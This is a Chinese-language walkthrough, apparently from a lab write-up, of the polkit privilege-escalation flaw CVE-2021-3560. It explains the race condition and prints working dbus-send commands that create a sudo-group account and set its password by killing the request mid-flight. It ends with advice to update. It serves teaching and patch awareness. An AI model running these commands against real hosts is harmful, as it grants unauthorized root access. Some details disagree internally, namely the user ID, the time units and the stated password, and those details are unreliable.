2021 年,一位名叫 Kevin BackHouse 的研究人员在 polkit 工具中发现了一个权限提升漏洞。然而,并非所有 Linux 版本都容易受到 polkit 漏洞的影响。
以下是一个易受攻击版本的示例;
大多数最新的 Linux 版本已经修复了此漏洞,但如上所述的较旧版本仍然存在此漏洞。
Polkit 是一个系统服务,默认安装在许多 Linux 发行版上。它被 systemd 使用,因此任何使用 systemd 的 Linux 发行版也会使用 polkit。
当你看到对话框时,Polkit 就是在幕后运行的系统服务,例如;
如果任何时候你需要更改权限或执行需要更高权限的操作(如创建用户帐户),Polkit 负责允许或拒绝该操作。
CVE-2021-3560 允许非特权本地攻击者获得 root 权限。它非常简单且利用速度快,因此尽快更新你的 Linux 安装非常重要。任何安装了 polkit 0.113(或更高版本)的系统都容易受到攻击。这包括 RHEL 8 和 Ubuntu 20.04 等流行发行版。
通过手动向 dbus-daemon 发送 dbus 消息(实际上是一个允许不同进程相互通信的 API),然后在请求被完全处理之前将其终止,我们可以欺骗 polkit 授权该命令。
dbus-daemon 是一个在后台运行的程序,负责在应用程序之间传递消息。
基本上,此漏洞的复现将按照以下步骤进行;
攻击者手动向 accounts-daemon 发送一条 dbus 消息,请求创建一个具有 sudo 权限的新帐户(或者之后为该新用户设置密码)。该消息会被 dbus-daemon 分配一个唯一 ID。
攻击者在 polkit 收到消息后、但 polkit 有机会处理该消息之前将其杀死。这实际上破坏了唯一的消息 ID。
Polkit 引用(现已删除的)消息 ID,向 dbus-daemon 请求发送消息的用户 ID。
因为我们在第二步中杀死了消息 ID,所以 dbus-daemon 找不到该消息 ID。它通过返回错误代码来处理该错误。
Polkit 错误地处理了该错误,并将用户 ID 替换为 0——即机器的 root 帐户。
Polkit 认为是 root 用户请求了该操作,因此允许该请求不受阻碍地通过。
简而言之,通过在对 dbus-daemon 有机会向 polkit 提供正确 ID 之前销毁消息 ID,我们利用 polkit 中较差的错误处理机制,诱骗该工具认为该请求是由拥有全部权限的 root 用户发出的。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
在这种情况下,当尝试创建用户 lucas 时,我们会收到一条没有权限的消息(需要身份验证)。
该命令将手动向 accounts-daemon 发送一条 dbus 消息,打印响应并创建一个名为 lucas(string:lucas)的新用户,描述为 "test vulns"(string:"test vulns"),并将 sudo 组成员身份设置为 true(由 int32:1 引用)。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
在这种情况下,我们使用第 1 步中相同的用户创建命令,但使用 'time' 函数来返回该命令的时间。
这需要 0.011 秒。每次运行命令时,该数字会略有不同。
让我们试试这个。我们需要发送 dbus 消息,然后大约在中间将其终止:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
我们在后台作业中发送了 dbus 消息(使用 & 将该命令置于后台)。然后我们让它休眠 0.005 毫秒,然后杀死前一个进程($!)。这成功地创建了新用户,并将其加入了 sudo 组。 此时我们应该注意,该实例中新用户的用户 ID 是 1000。
使用 openssl,我们生成类型为 6(SHA512-crypt)的密码哈希以及我们的明文密码。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
在这种情况下,我们为上面步骤中创建的 id 1005 设置一个密码(banana)。
该漏洞已公开披露,修复已于 2021 年 6 月 3 日发布,并被分配为 CVE-2021-3560。
使用 yum/apt update/upgrade 检查你机器的更新。